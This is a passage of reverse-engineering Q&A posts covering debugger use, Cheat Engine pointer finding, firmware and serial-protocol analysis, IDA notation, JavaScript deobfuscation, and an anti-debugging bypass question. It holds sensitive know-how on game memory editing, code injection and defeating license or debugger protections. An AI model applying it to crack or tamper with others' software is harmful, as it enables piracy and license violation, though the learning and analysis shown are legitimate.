CPU\n        var intervalPointer = setInterval(function() {\n            // The condition that asserts Mono's required resources can be hooked\n            // TODO switch with intercepting dlopen wait for mono.dll ?\n            // FIXME use Module.ensureInitialized(name)\n            if (Module.findExportByName(null, 'mono_get_root_domain')) {\n                clearInterval(intervalPointer);\n                func(); // Executing the passed function\n            }\n        }, delay);\n    }\n\n    // Main\n    Java.perform(awaitForCondition(hookMonoLoad));\n
    \n" }, { "Id": "18879", "CreationDate": "2018-07-24T10:09:41.827", "Body": "

    I'm fairly new to reverse engineering at all and I'm currently struggling to get the static offset/address of a variable of a program I've written myself.

    \n\n

    So I've written the following program in C++, just to get some practice:

    \n\n
    #include <iostream>\n#include <Windows.h>\n#include <string>\n\nclass Entity\n{\npublic:\n    Entity(int health, int max_health, int armor) : m_health{ health }, m_max_health{ max_health }, m_armor{ armor }\n    {}\nprotected:\n    int m_health;\n    int m_max_health;\n    int m_armor;\n};\n\nclass Player : public Entity\n{\npublic:\n    Player() : Entity(200, 400, 50)\n    {}\n    void heal() { m_health = m_max_health; }\n    int get_health() { return m_health; }\nprivate:\n};\n\nint main()\n{\n    Player player;\n\n    while (1)\n    {\n        std::cout << \"player health: \" << player.get_health() << \"\\n\";\n        Sleep(500);\n    }\n}\n
    \n\n

    after that I've opened up the executable in x32dbg. My first step was to look for string references and then check if I can find the \"player health\" string. That was fairly easy and it led me to the following instructions, which represent the while loop of the executable: \n\"1\"

    \n\n

    after that I've set a breakpoint at 010C24EC(as you can see in the picture) and I've followed ESP(which is 31FE18) in dumb which led me to the value of 200 which I assume is the value of the variable so I think the address 31FE18 is the address of my variable player.m_health. Now my problem is that the address is changing every time I restart the program(which is normal), so I've written another program in C++, which reads out the Imagebase of the other process so I thought that when I subtract the address of my variable from my Imagebase, I could get the static offset that is always going to lead me to the correct variable when I add it to the imagebase.

    \n\n

    I'm quite sure that I missunderstood some things and I would be really happy if someone could help me out, since I've really spent some time on trying to figure this out on my own but none of the things I've tried worked so far.

    \n\n

    Thanks in advance.

    \n\n

    Greets\nSteven

    \n", "Title": "getting the static address/offset of a variable", "Tags": "|ollydbg|debugging|c++|address|offset|", "Answer": "

    Note: This does not answers the question using x32dbg/ollydbg, but another tool. (I can't seem to be able to post a comment). My apologies if it is off topic.

    \n

    You can try with Cheat engine (CE).

    \n

    If yes, download the installer-less release, because the installer includes crap:

    \n

    \"enter

    \n

    I assume you downloaded it and extracted it at this point.

    \n

    This software has a really nice integrated tutorial which is another .exe shipped in the folder. Read more about it HERE (it is for 64 bits, but it should give you an idea on how to run the 32 bit tutorial). Try to go through it (or skip the steps - bottom right corner), and at some point (step 6 and 8) your problem will be addressed (no pun intended).

    \n

    Good luck :)

    \n
    \n

    Addendum

    \n

    Reading from the comments you posted below

    \n
      \n
    • I'm usually not lucky enough to pick the right one straight away [...]
      • \n
    \n

    Although it is not perfect, CE has this tool called the "pointer scan" (you might already know this tool, I'm thinking about new CE users) where it kind of brute forces the offsets and goes down more than one level of depth. It might work after lots of effort.

    \n
      \n
    • So I thought learning how to use them with small self-written programs would be the smartest way of getting into it. But as @mrexodia pointed out already, player objects are usually not allocated on the stack.
      • \n
    \n

    Speaking more generally (I deviate from your pointer question), I think that this is a very good approach. Example : with this approach I once discovered an opcode I didn't know about / cmov (or cmovcc in manuals) while dissassembling a game of mine and therefore I knew exactly how things were laid down in the memory and in the code. Very instructive for me, definitely a +1. You could also learn about compiler optimizations by comparing the code and the generated assembly.

    \n

    When it comes to more complex games, try to practise on indie games (singleplayer of course) or open source (because they are accessible). Try Assault cube (or Assault cube reloaded). This game is quite enjoyable to practise on because there are no debugging protections nor anti-cheat system, ... You can for example find pointers to the local player, or modify the game code / making your team invincible, infinite ammo and so on...

    \n

    A workaround to your problem

    \n

    This is an intuition and not based on facts, but I beleive that games made in virtual machines such as Java, C#, or OS features such as address randomization ... are harder to debug in assembly and could be unpredictable in terms of pointer finding, ... .\nA method I like to use (to find the local player, most of the time) is using "code hooking".

    \n

    For example, if you want to find the address to the local player in AssaultCube (or an other game) you could find the GUI code that draws the player ammo/health on screen, because if your game displays to you that you have 100Hp, well it got to extract the value somewhere. What you could do in this case is using CE and find the Hp, finding what code accesses this address and hopefully there will be along the lines, the GUI code that intercepts this value. From there you can retreive the player base address. What is really good about this technique is that you don't have to mess around with pointers, it's a pretty straight forward way to get your player address.

    \n

    The downside is that you have to inject some code to reteive it. You could inject a hand crafted program (C, C++, ...) or use a CE trainer to acheive this effect. Using a debugger at this point may help you to understand where the data comes from and hopefully find a way to get the pointer.

    \n
      \n
    • so my whole idea seems to be stupid / My biggest problem is that I'm not really a smart kind of a person / or would you say that it's a waste of time for a person like me
      • \n
    \n

    No it is not stupid, you can totally get it to there, to me you are definitely not "not really a smart kind of a person" because you're trying to understand low level concepts such as pointers.

    \n

    I am not experienced in the reverse engineering field, I do not pretend that I know much things, but I have some "bad" questions on stackoverflow / gamedev, I clearly didn't know what I was doing but hey, I was younger and that is okay, it's part of the learning curve. At first I didn't even understand these concepts and quite a time ago, I made a "simple" mod for a game that involved assembly patching to improve the fun. There were two simple patches to make, but it took me some hours to figure out. The point I want to make is that you have to start somewhere. Kudos to you for trying !

    \n

    You WILL spend or even waste, to some extent, time figuring things out, learning techniques, debugging, ... It does not come alone you know. It's like drawing, I don't think Picasso woke up one day and knew how to paint, it eventually came with practice, failures, study and frustration.

    \n

    Now I realize that this does not really answers your question and my apologies, basically try the pointer scan / code hooking. I'm sure that there are more solutions to this problem, that I am not aware of.

    \n" }, { "Id": "18882", "CreationDate": "2018-07-24T18:15:51.527", "Body": "

    I am trying to solve reverse engineering problem(s) from https://challenges.re/2/ - this is challenge 2 and the target is to get the highest possible level of understanding what the code does.

    \n\n
    <f>:\n   0:          mov    eax,DWORD PTR [esp+0x4]\n   4:          bswap  eax\n   6:          mov    edx,eax\n   8:          and    eax,0xf0f0f0f\n   d:          and    edx,0xf0f0f0f0\n  13:          shr    edx,0x4\n  16:          shl    eax,0x4\n  19:          or     eax,edx\n  1b:          mov    edx,eax\n  1d:          and    eax,0x33333333\n  22:          and    edx,0xcccccccc\n  28:          shr    edx,0x2\n  2b:          shl    eax,0x2\n  2e:          or     eax,edx\n  30:          mov    edx,eax\n  32:          and    eax,0x55555555\n  37:          and    edx,0xaaaaaaaa\n  3d:          add    eax,eax\n  3f:          shr    edx,1\n  41:          or     eax,edx\n  43:          ret\n
    \n\n

    Here's my approach to solution, in comments. Because the code does not give me an initial starting point, I am assuming the initial value assignment to be 12 34 56 78:

    \n\n
    mov    eax,DWORD PTR [esp+0x4] ; eax < 12 34 56 78 (\u202d305419896\u202cd)\nbswap  eax               ; eax < 78 56 34 12\nmov    edx,eax           ; eax = edx = 78 56 34 12\nand    eax,0xf0f0f0f         ; eax = 02 04 06 08\nand    edx,0xf0f0f0f0        ; edx = 70 50 30 10\nshr    edx,0x4           ; edx = 07 05 03 01\nshl    eax,0x4           ; eax = 20 40 60 80\nor     eax,edx           ; eax = 27 45 63 81\nmov    edx,eax           ; edx = eax = 27 45 63 81  \nand    eax,0x33333333        ; eax = 23 01 23 01\nand    edx,0xcccccccc        ; edx = 04 44 40 80\nshr    edx,0x2           ; edx = 01 11 10 20\nshl    eax,0x2           ; eax = 8C 04 8C 04\nor     eax,edx           ; eax = 8D 15 9C 24\nmov    edx,eax           ; eax = edx = 8D 15 9C 24\nand    eax,0x55555555          ; eax = 05 15 14 04\nand    edx,0xaaaaaaaa        ; edx = 88 00 88 20    \nadd    eax,eax           ; eax = 8D 15 9C 24\nshr    edx,1             ; edx = 44 00 44 10\nor     eax,edx           ; eax = CD 15 D6 34\nret                  ; return eax > CD 15 D6 34 (3440760372d)\n
    \n\n

    What I still don't get is the big picture - seems like some random mathematical operations without a purpose and probably I am wrong. What gives?

    \n", "Title": "Reverse Engineering Challenge 2 from challenges.re", "Tags": "|disassembly|", "Answer": "

    you probably have some error in the and operation
    \nanswer by josh is right if you start with 12345678

    \n\n
    mov eax,DWORD PTR [esp+0x4]     eax =       12 34 56 78\nbswap eax                       eax =       78 56 34 12\nmov edx,eax                     edx = eax = 78 56 34 12\nand eax,0x0f0f0f0f              eax =       08 06 04 02\nand edx,0xf0f0f0f0              edx =       70 50 30 10\nshr edx,0x4                     edx =       07 05 03 01\nshl eax,0x4                     eax =       80 60 40 20\nor eax,edx                      eax =       87 65 43 21\nmov edx,eax                     edx =       87 65 43 21\nand eax,0x33333333              eax =       03 21 03 21\nand edx,0xcccccccc              edx =       84 44 40 00\nshr edx,0x2                     edx =       21 11 10 00\nshl eax,0x2                     eax =       0c 84 0c 84\nor eax,edx                      eax =       2d 95 1c 84\nmov edx,eax                     edx = eax = 2d 95 1c 84\nand eax,0x55555555              eax =       05 15 14 04\nand edx,0xaaaaaaaa              edx =       28 80 08 80\nadd eax,eax                     eax =       0a 2a 28 08\nshr edx,1                       edx =       14 40 04 40\nor eax,edx                      eax =       1e 6a 2c 48\nret\n
    \n\n

    lets do it in say python

    \n\n
    >>> a = 0x78563412\n>>> b = 0x0f0f0f0f\n>>> c = 0xf0f0f0f0\n>>> d = 0x33333333\n>>> e = 0xcccccccc\n>>> temp = (((((a&b)<<4|(a&c)>>4)&d)<<2) | ((((a&b)<<4|(a&c)>>4)&e)>>2))\n>>> hex(((temp & 0x55555555 )*2) | (temp & 0xaaaaaaaa) >> 1)\n'0x1e6a2c48L'\n
    \n" }, { "Id": "18891", "CreationDate": "2018-07-25T05:08:07.673", "Body": "

    With Radare2, I love the iI command.

    \n\n

    I want to limit the output with grep or radare's own grep syntax.

    \n\n

    How do I run a iI | grep -E 'bits | pic | stripped' against my binary?

    \n\n
    [0x100001200]> iI\narch     x86\nbinsz    38688\nbintype  mach0\nbits     64\n....\n..\n.\n
    \n\n

    My intention is to run this command inside a python script using r2pipe.

    \n", "Title": "grep -E with Radare2", "Tags": "|radare2|", "Answer": "

    Radare's grep is done by using the ~ character.

    \n\n
     ~?<br>\n|Usage: [command]~[modifier][word,word][endmodifier][[column]][:line]\n
    \n\n

    So to have the output you want just run:

    \n\n
    iI~bits,pic,stripped\n\n[0x100001200]> iI~bits,pic,stripped\nbits     64\npic      true\nstripped true\n
    \n\n

    The same command you should run in your script. There's a lot of more that this grep can do. To get the help of it just run the ~?

    \n" }, { "Id": "18917", "CreationDate": "2018-07-28T22:42:31.247", "Body": "

    I tried use Binwalk to extract content of binary firmware image dumped from flash, but Binwalk does not show anything.\nI tried commands

    \n\n
    binwalk -Me file.bin\nbinwalk --dd='.*' file.bin\n
    \n\n

    strings command against a firmware image not show any human readable strings. Entropy command returns Falling entropy edge (0.689208) Or possibly, binary image is neither encrypted nor compressed?

    \n\n

    \"enter

    \n", "Title": "Binwalk does not show anything when process binary", "Tags": "|binary-analysis|firmware|embedded|binwalk|", "Answer": "

    I tried:

    \n\n
    $> binwalk --opcodes Image1.bin\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n348           0x15C           MIPS instructions, function epilogue\n516           0x204           MIPS instructions, function epilogue\n652           0x28C           MIPS instructions, function epilogue\n780           0x30C           MIPS instructions, function epilogue\n1160          0x488           MIPS instructions, function epilogue\n1268          0x4F4           MIPS instructions, function epilogue\n2208          0x8A0           MIPS instructions, function epilogue\n....\n
    \n\n

    So, it really looks like a raw MIPS binary to me. I guess that this firmware is for a router or something similar.

    \n\n

    You should just force your disassembler to take this file as raw MIPS and process it.

    \n\n

    Note: A 'raw binary' is just a file with raw opcodes in it without any specific recognizable format (such as ELF, PE or Mach-O). Raw formats are just intended to be mapped directly in memory without going through an operating system first. It is very common in the embedded software World.

    \n" }, { "Id": "18918", "CreationDate": "2018-07-29T05:03:07.673", "Body": "

    So I was messing with an interesting keygenme, written in C++, which derives the key based on the values of the OSINFO structure. Now, when checking for a valid key it uses the following instruction:

    \n\n

    CMP EAX, DWORD PTR DS:[key]

    \n\n

    My question is: why isn't the key stored in a local variable or something like:[EBP-X]?

    \n\n

    How would I translate it back into C++ so that it stores the key in DS:[key] rather than in the stack?

    \n", "Title": "Keygenme - Key location", "Tags": "|ida|x86|crackme|", "Answer": "

    Use a global or static variable.

    \n\n

    Explanation:

    \n\n

    EBP (base pointer) typically holds the address of the current stack frame, in that case it's used to get the address to local variable. (reference) Global or static variables don't need such pointer, as their address is fixed on program load.

    \n\n
    \n\n

    By the way: I didn't test compiling a simple program on a 32-bit compiler. 64-bit mode doesn't use segment registers.

    \n" }, { "Id": "18935", "CreationDate": "2018-07-30T23:20:18.503", "Body": "

    I'm just curious. What if someone were to crack a program to get past a registration window/process and then bring this vulnerability to light? Can the owner/creator prosecute you for doing so, even if you were trying to help him or her?

    \n", "Title": "What are the legal consequences of reverse engineering a program and telling the creator how you did it?", "Tags": "|law|", "Answer": "

    I am not a lawyer. Basing your actions on anything I've written will be at your own risk. If searching for legal advice you should really consult an expert in the relevant legal field instead of community-driven sites

    \n\n

    First of all, cracking a program is not the same as finding a vulnerability in it. Although cracking a program may cause financial damages to the manufacturer, it does not pose any risk to the users. Additionally, except for unique DRM-ed software and where advanced anti-theft features are in place, manufacturers do not tend to combat cracks too thoroughly, piracy is an accepted lost of revenue to some extent.

    \n\n

    I'll start by pointing at a relevant Israeli proverb - Peeing from the diving stand:

    \n\n
    \n

    The statement is based on the fact that everyone knows that many pee in the swimming pool. While the general public prefers to ignore this wrongful act that it can not act against, the public will not stand in silence if someone does the same thing, peeing in the pool, from the diving stand.

    \n
    \n\n

    This goes to say if you're doing something wrongful, which you're aware might have legal implications, you should at least do it in private and not boast about it.

    \n\n

    Now, for the legality of cracking a piece of software and reporting that to the manufacturer; Although this greatly depends on the laws in the country / state you live in, it is usually not illegal per say but does violate most End User License Agreements, which you're bound to by using the software. Most software EULAs explicitly forbid any type of reverse engineering of the provided software and any of it's components.

    \n" }, { "Id": "18946", "CreationDate": "2018-07-31T14:41:24.623", "Body": "

    Consider the following code:

    \n\n

    In C++:

    \n\n
    SomeClass* globalPointer; // we don't know what it points to, but it's not null a pointer, it's initialized\n\nvoid someFunction()\n{\n  globalPointer->someVirtualFunction();\n}\n
    \n\n

    In IDA (inside someFunction):

    \n\n
    mov     ecx, dword_XXXX ; ecx = globalPointer\nmov     eax, [ecx] ; eax = vtable\njmp     dword ptr [eax+30h] ; call vtable[0x30]\n
    \n\n

    The meaning of dword_XXXX is just a pointer value. I tried to check it this way:

    \n\n
    printf(\"Address of pointer = %p, pointer's value = %p\\n\", &otherPointer, otherPointer);\n
    \n\n

    And I got:

    \n\n
    push dword_XXXX ; otherPointer\npush offset dword_XXXX ; &otherPointer\npush offset format ; \"Address of pointer = %p, pointer's value = %p\\n\"\n\ncall printf\n
    \n\n

    Thus dword_XXXX seems to be a pointer's value and offset dword_XXXX seems to be an address of the pointer.

    \n\n

    However, I noticed another code (which can be expressed the same as the c++ function I provided above):

    \n\n
    SomeClass2* globalPointer2;\n\nvoid someFunction2()\n{\n  globalPointer2->someVirtualFunction2();\n}\n
    \n\n

    And IDA surprisingly gave me (inside someFunction2):

    \n\n
    mov eax, dword_XXXX ; eax = globalPointer2\nmov ecx, offset dword_XXXX ; ecx = &globalPointer2\njmp dword ptr [eax+5Ch] ; call [globalPointer2+0x5C] with &globalPointer2 as this?? It should be call vtable[0x5C]\n
    \n\n

    I checked the values and found out that IDA somehow \"changes\" the meaning of dword_XXXX, in this case it actually was:

    \n\n
    mov eax, dword_XXXX ; eax = vtable\nmov ecx, offset dword_XXXX ; ecx = globalPointer2\njmp dword ptr [eax+5Ch] ; call vtable[0x5C]\n
    \n\n

    Why the meaning of dword_XXXX was different in the second case? In the first case it was just pointer, but in the second case it was *pointer.

    \n\n

    And the meaning of offset dword_XXXX in the first case was &pointer and in the second case was pointer.

    \n\n

    I'm sorry if something is unclear, I really tried to simplify that as much as possible.

    \n", "Title": "What's the meaning of dword_XXXX and offset dword_XXXX in IDA?", "Tags": "|ida|x86|nasm|", "Answer": "

    I think I figured out what's going on.

    \n\n

    The opcodes for the printing were (assuming dword_AAAAAAAA instead of general dword_XXXX):

    \n\n
    FF 35 AA AA AA AA    push dword_AAAAAAAA; otherPointer\n68 AA AA AA AA       push offset dword_AAAAAAAA; &otherPointer\n
    \n\n

    Thanks to this site, I know that the above instructions are equal to:

    \n\n
    push [0xAAAAAAAA]; push otherPointer\npush 0xAAAAAAAA;   push &otherPointer\n
    \n\n

    So, in this case, dword_XXXX is equal to value of a pointer. However, in the second case (again assuming dword_AAAAAAAA instead of general dword_XXXX):

    \n\n
    A1 AA AA AA AA    mov eax, dword_AAAAAAAA ; eax = vtable\nB9 AA AA AA AA    mov ecx, offset dword_AAAAAAAA ; ecx = globalPointer2\n
    \n\n

    And it's equal to:

    \n\n
    mov eax, [0xAAAAAAAA] ; eax = vtable\nmov ecx, 0xAAAAAAAA ; ecx = globalPointer2\n
    \n\n

    Thus in this case dword_XXXX is equal to *pointer rather than pointer.

    \n\n

    Therefore I think the answer is: it depends. We need to understand what dword_XXXX means - it can be a pointer, an address of the pointer, or even pointer to pointer to pointer, and so on. But IDA gives us a hint: offset dword_XXXX means a raw value of whatever dword_XXXX is and dword_XXXX gives a dereferenced value of it.

    \n" }, { "Id": "18956", "CreationDate": "2018-08-01T14:12:52.623", "Body": "

    Consider the following piece of code:

    \n\n
    .text:00F74B42 call    sub_12D1130\n.text:00F74B47 mov     eax, dword_15A0C80\n
    \n\n

    Now, I want to add a sanity check but as I don't have enough space to do that I remove \"useless\" call instruction and move everything up by 5 bytes.\nSo I end up with:

    \n\n
    .text:00F74B42 mov     eax, dword_15A0C80\n.text:00F74B47 test    eax, eax \n.text:00F74B49 jz      loc_xyz\n
    \n\n

    Unfortunately when my program gets rebased to different virtual address, dword_15A0C80 is not correctly updated, instead, bytes at B47 - B4B are.\nI understand that dword_15A0C80's offset at 00F74B47 is stored somewhere so when .data segment gets a new virtual address it's updated.\nThe question is where and how to search for it quickly using IDA for instance?

    \n", "Title": "Data moved after program rebase", "Tags": "|ida|disassembly|x86|", "Answer": "

    I've come to answer my own question just as a future reference.

    \n\n

    As I was not able to find such dword_15A0C80's reference in the relocation table, I made a simple crawler. It took into consideration all dword_15A0C80 occurrences and theirs last bytes that were not too far from each other which basically got me to one result pretty much right away. Note, that it was int16 occupying just 2 bytes, basically just an offset to subroutine which didn't seem significant in any way to me.

    \n\n

    Thanks to freenode:##asm:Jester01 for pointing me the right direction.

    \n" }, { "Id": "18966", "CreationDate": "2018-08-03T01:22:16.097", "Body": "

    I have an ebike consisting of a controller which regulates power to the motor and a smart LCD which can adjust max speed, power output, pedal assist sensitivity etc as well as displaying the current battery voltage, motor power usage (Watts) and motor speed.
    \nThe LCD and controller are connected by a 5v rx/tx line. I have connected an arduino mega in series in the middle of the serial lines; controller rx/tx to arduino serial1 tx/rx then arduino serial2 tx/rx to the LCD rx/tx.
    \nCode is currently passing all received data from controller directly to the LCD and vice versa which works perfectly, LCD values are correct.

    \n\n

    I wish to analyse the protocol but can't seem to figure out any sort of structure in it. Currently focusing on Controller -> LCD comms to extract motor values. Seems like all commands start with 02 (start of text in AsciiTable) and most then contain 0E which I initially suspected to be message length however that does not seem to be the case as evident from the following commands:

    \n\n
    \n

    02 0E 40 40 00 00 03 0B B8 00 00 35 C8
    \n 02 0E 01 00 40 00 00 03 0B 98 00 35 C8
    \n 02 4E 40 40 00 00 03 0B B8 88 54 42 F7
    \n 02 0E 41 00 0A 00 02 03 B8 00 00 35 C8
    \n 02 0E 01 00 50 00 D0 0B B8 00 00 05 FE

    \n \n

    02 4E 40 40 00 00 03 0B B8 00 35 C8
    \n 02 4E 40 20 0A 00 03 0A B8 80 35 C8
    \n 02 4E 40 40 00 00 03 0B B8 88 54 42 F7
    \n 02 4E 40 08 01 00 03 0B DD 81 A0 93 FE FE FE

    \n
    \n\n

    Here is the full hexdump from roughly 60 seconds of running, messages come in constant stream: https://pastebin.com/iFFEWAFd
    \nThat dump will contain values for battery voltage ( 45-52.4V ), motor power usage (0-1000Watts, could also be 0-10Amps ) and possibly wheel speed. Likely some other params in there also.

    \n\n

    The Command

    \n\n
    \n

    02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8

    \n
    \n\n

    is by far most popular accounting for over half the messages. Could this be a heartbeat possibly?
    \nHere is the same paste without that command for easier reading: https://pastebin.com/b5iQugaY

    \n\n

    PDF Manual for LCD: www.pedecs.co.uk
    \nNot found any sort of manual for controller as of yet.

    \n\n

    Thank you for any insight provided, i'm still getting my head around this whole reverse engineering thing.

    \n\n

    UPDATE:\nI have managed to isolate several commands. The command previously thought to be a heartbeat is infact the speed 0. Here is a dump of the bike decelerating from 19mph to 0mph:

    \n\n
    02 0E 01 00 40 00 00 03 00 F5 00 00 35 8E \n02 0E 01 00 40 00 00 03 00 FD 00 00 35 86 \n02 0E 01 00 40 00 00 03 01 05 00 00 35 7F \n02 0E 01 00 40 00 00 03 00 0C 00 00 35 74\n02 0E 01 00 40 00 00 03 01 25 00 00 35 AE \n02 0E 01 00 40 00 00 03 01 3F 00 00 35 45 \n02 0E 01 00 40 00 00 03 01 4F 00 00 35 35 \n02 0E 01 00 40 00 00 03 01 4F 00 00 35 35 \n02 0E 01 00 40 00 00 03 01 60 00 00 35 1A \n02 0E 01 00 40 00 00 03 01 60 00 00 35 1A \n02 0E 01 00 40 00 00 03 01 76 00 00 35 0C \n02 0E 01 00 40 00 00 03 01 76 00 00 35 0C \n02 0E 01 00 40 00 00 03 01 8E 00 00 35 F4 \n02 0E 01 00 40 00 00 03 01 8E 00 00 35 F4 \n02 0E 01 00 40 00 00 03 01 AB 00 00 35 D1 \n02 0E 01 00 40 00 00 03 01 AB 00 00 35 D1 \n02 0E 01 00 40 00 00 03 01 CE 00 00 35 B4 \n02 0E 01 00 40 00 00 03 01 CE 00 00 35 B4 \n02 0E 01 00 40 00 00 03 01 CE 00 00 35 B4 \n02 0E 01 00 40 00 00 03 01 FC 00 00 35 86\n02 0E 01 00 40 00 00 03 02 8A 00 00 35 F3 \n02 0E 01 00 40 00 00 03 02 8A 00 00 35 F3 \n02 0E 01 00 40 00 00 03 02 8A 00 00 35 F3 \n02 0E 01 00 40 00 00 03 02 8A 00 00 35 F3 \n02 0E 01 00 40 00 00 03 03 0C 00 00 35 74 \n02 0E 01 00 40 00 00 03 03 0C 00 00 35 74 \n02 0E 01 00 40 00 00 03 03 0C 00 00 35 74 \n02 0E 01 00 40 00 00 03 03 0C 00 00 35 74 \n02 0E 01 00 40 00 00 03 03 0C 00 00 35 74 \n02 0E 01 00 40 00 00 03 04 05 00 00 35 7A \n02 0E 01 00 40 00 00 03 04 05 00 00 35 7A \n02 0E 01 00 40 00 00 03 04 05 00 00 35 7A \n02 0E 01 00 40 00 00 03 04 05 00 00 35 7A \n02 0E 01 00 40 00 00 03 04 05 00 00 35 7A \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 06 34 00 00 35 49 \n02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8 \n02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8 \n02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8 \n02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8 \n02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8\n
    \n\n

    Only bytes 9,10 and 14 are changing. These values do not correspond directly to speed though, will more likely somehow relate to RPM as the LCD knows wheel size and displayed speed changes for any given command when I manually change expected wheel size value.

    \n\n

    Update2:\nbytes 9 and 10 combine to output a value between 0-3000. This value is the ms between full rotations of the wheel thus allowing for calculation of speed given you know the circumference. Byte 14 appears to be a checksum of some sort, would be handy if anyone could workout how this is calculated.

    \n", "Title": "Decipher variable length serial protocol", "Tags": "|hex|serial-communication|protocol|hexadecimal|", "Answer": "

    I understand your Arduino serves as a relay in the middle between the controller and the LCD. What you could do (not extremely exciting, but you did not mention whether you made similar experiments already, and I hope I understood your situation well):

    \n\n
      \n
    1. Modification of single bits. If you visually observe the display and connect a switch at your Arduino serving as a trigger to modify one or more single bits in the direction to the display, and observe which display indication changes.
      2. \n
    2. The same in the opposite direction. Observe if the bike changes its behaviour.
      3. \n
    3. Suppress your heartbeat telegrams and observe what happens.
      4. \n
    4. An easy experiment would be to switch on the bike's light and observe the changes in the telegrams.
      5. \n
    5. Add timestamps to your telegrams. If you install a trigger at your Arduino, give it a timestamp too, to have the exact change time in the telegram log.
      6. \n
    \n\n

    In short, try to make changes (one at a time) in a defined way either at the bike or in the telegrams or groups of telegrams and observe if it gives you hints about the content.

    \n\n

    Another question would be if you cross-checked your Arduino telegram decoding, e.g. with some passive sniffer. I understand you trust your decoder because everything works as before (without the Arduino in between). But this might simply be due to the fact that corrupted telegrams are discarded.

    \n\n

    A coarse inspection of your log shows properties not easily understood.

    \n\n

    Example: The lines #133 and #134 in the file ebike_sw_hex_dump.txt (the one with the heartbeat):

    \n\n
    02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8\n02 0E 01 00 40 00 03 0B B8 00 00 35 C8\n
    \n\n

    The second telegram is identical to the first one except from the missing zero in the middle. In particular the last seven bytes are identical. If I assume that the logical content of these last seven bytes is identical in both telegrams, how should an interpreter come to this conclusion?

    \n\n

    The \"protocol switch\" would probably be the byte after the 40. This however would contradict the assumption that the last seven bytes mean the same.

    \n\n

    From this example and other strange lines, e.g. those with the FE or FF at the end, I would suggest an independent cross-check of the decoder, just to make sure that your log shows the correct bytes. Similar as you suspected, in such a system I would have expected constant telegram lengths as well.

    \n\n

    Of course, there is more which could be tried. These were just some simple ideas which came into mind.

    \n\n

    A similar experiment as yours is published in the web, under https://endless-sphere.com/forums/viewtopic.php?f=2&t=73471#p1109048, decoded protocol attached, however with a different controller, and showing no obvious similarity to your logs. But maybe it gives some hints as well.

    \n\n

    In any case, a nice study!

    \n" }, { "Id": "18967", "CreationDate": "2018-08-03T01:34:49.303", "Body": "

    So, I have a program which I am 99% sure it is using Lua as when I look at string references I see this:

    \n\n

    \"Lua

    \n\n

    Which I am understanding that somewhere in this program they have statically linked a Lua C or something of the sort, so I did a quick Google for Lua 5.2.1 Libraries, I found this which is a link to the Source Forge for Lua static libraries for 5.2.1, so I downloaded it, opened up the IDA SDK, and ran:

    \n\n
    .\\pcf.exe .\\lua52.lib .\\lua52.pat\n
    \n\n

    which returns:

    \n\n
    ...\\lua52.lib: skipped 0, total 793\n
    \n\n

    Which I interpret to understand it found 793 signatures or something similar, so then I ran:

    \n\n
    .\\sigmake.exe .\\lua52.pat .\\lua52.pat\n
    \n\n

    Which returns an error;

    \n\n
    .\\lua52.pat: modules/leaves: 767/793, COLLISIONS: 1\nSee the documentation to learn how to resolve collisions.\n
    \n\n

    Which I assume meant I had to use the -r switch, so I reran it

    \n\n
    .\\sigmake.exe -r .\\lua52.pat .\\lua52.sig\n
    \n\n

    It generated no errors and produced the sig file, so I dropped it in the sig directory in IDA which lets it show up, so when I go to apply \n\"Lua\nit shows up which I expected, I add it to IDA, it tells me there are\"Proof references, but nothing I am \"sure\" is Lua gets renamed? Is that expect or not? I know this line

    \n\n
    sub_140856EE0(v1, (__int64)\"field '%s' missing in date table\", \"year\");\n
    \n\n

    is Lua because when you google the middle field it tells it's a Lua using a Lua function. Finally I've ran a reanalyses to make sure it looks back through the file to give it a once over.

    \n\n

    Have I missed something obvious here?

    \n", "Title": "FLIRT Signature Applied, IDA shows references but no auto rename?", "Tags": "|ida|flirt-signatures|lua|", "Answer": "

    It might help if you use the same architecture as the target process...\nBut that doesn't fully explain why the other non x64 FLIRT signature doesn't rename stuff even if the window says it found X refs

    \n" }, { "Id": "18977", "CreationDate": "2018-08-04T23:12:03.950", "Body": "

    I am trying to protect my app code from theft. Since most of it is written in javascript I had to use many obfuscation techniques to make it incomprehensible.

    \n\n

    I have written a very small piece of code for demonstration purposes (under 20 lines) which has been obfuscated. I wonder how easy it is to reverse engineer or is it difficult enough to make life a hell?

    \n\n

    Here a demo with the code:

    \n\n

    http://jsfiddle.net/0s84pxvc/1/

    \n\n

    Goal: can you find out how the string inside the alert is generated when you fire a click event on the window?

    \n", "Title": "Is deobfuscation of my javascript code hard or easy?", "Tags": "|obfuscation|deobfuscation|javascript|", "Answer": "
    setInterval(function () {\n  _0x58c724();\n}, 4000);\nclass a {\n  constructor() {\n    alert("I am obfuscated...");\n    window.addEventListener("click", this.Handler.bind(this));\n  }\n  Handler(a) {\n    let b = 0;\n    for (let c = 0; c < 24; c++) {\n      b++;\n    }\n    alert("I am still " + b + " hours a day obfuscated!");\n  }\n}\nconst b = new a();\n
    \n

    \"enter

    \n" }, { "Id": "18978", "CreationDate": "2018-08-05T00:36:24.013", "Body": "

    I am trying to reverse a program which is employing some kind of anti-debugging trick based on the use of SEHs and the TF. The code stars with:

    \n\n

    \"enter

    \n\n

    So apparently it's generating an exception with

    \n\n
    XOR DWORD PTR [ESP], 154h\n
    \n\n

    Which ultimately terminates with a call to ExitProcess() without even running the program.

    \n\n

    I tried using NOPs to bypass this but since upon execution the EP is already pointing to this problematic piece of code it did not work.

    \n\n

    How can I bypass this and what's really triggering the exception?

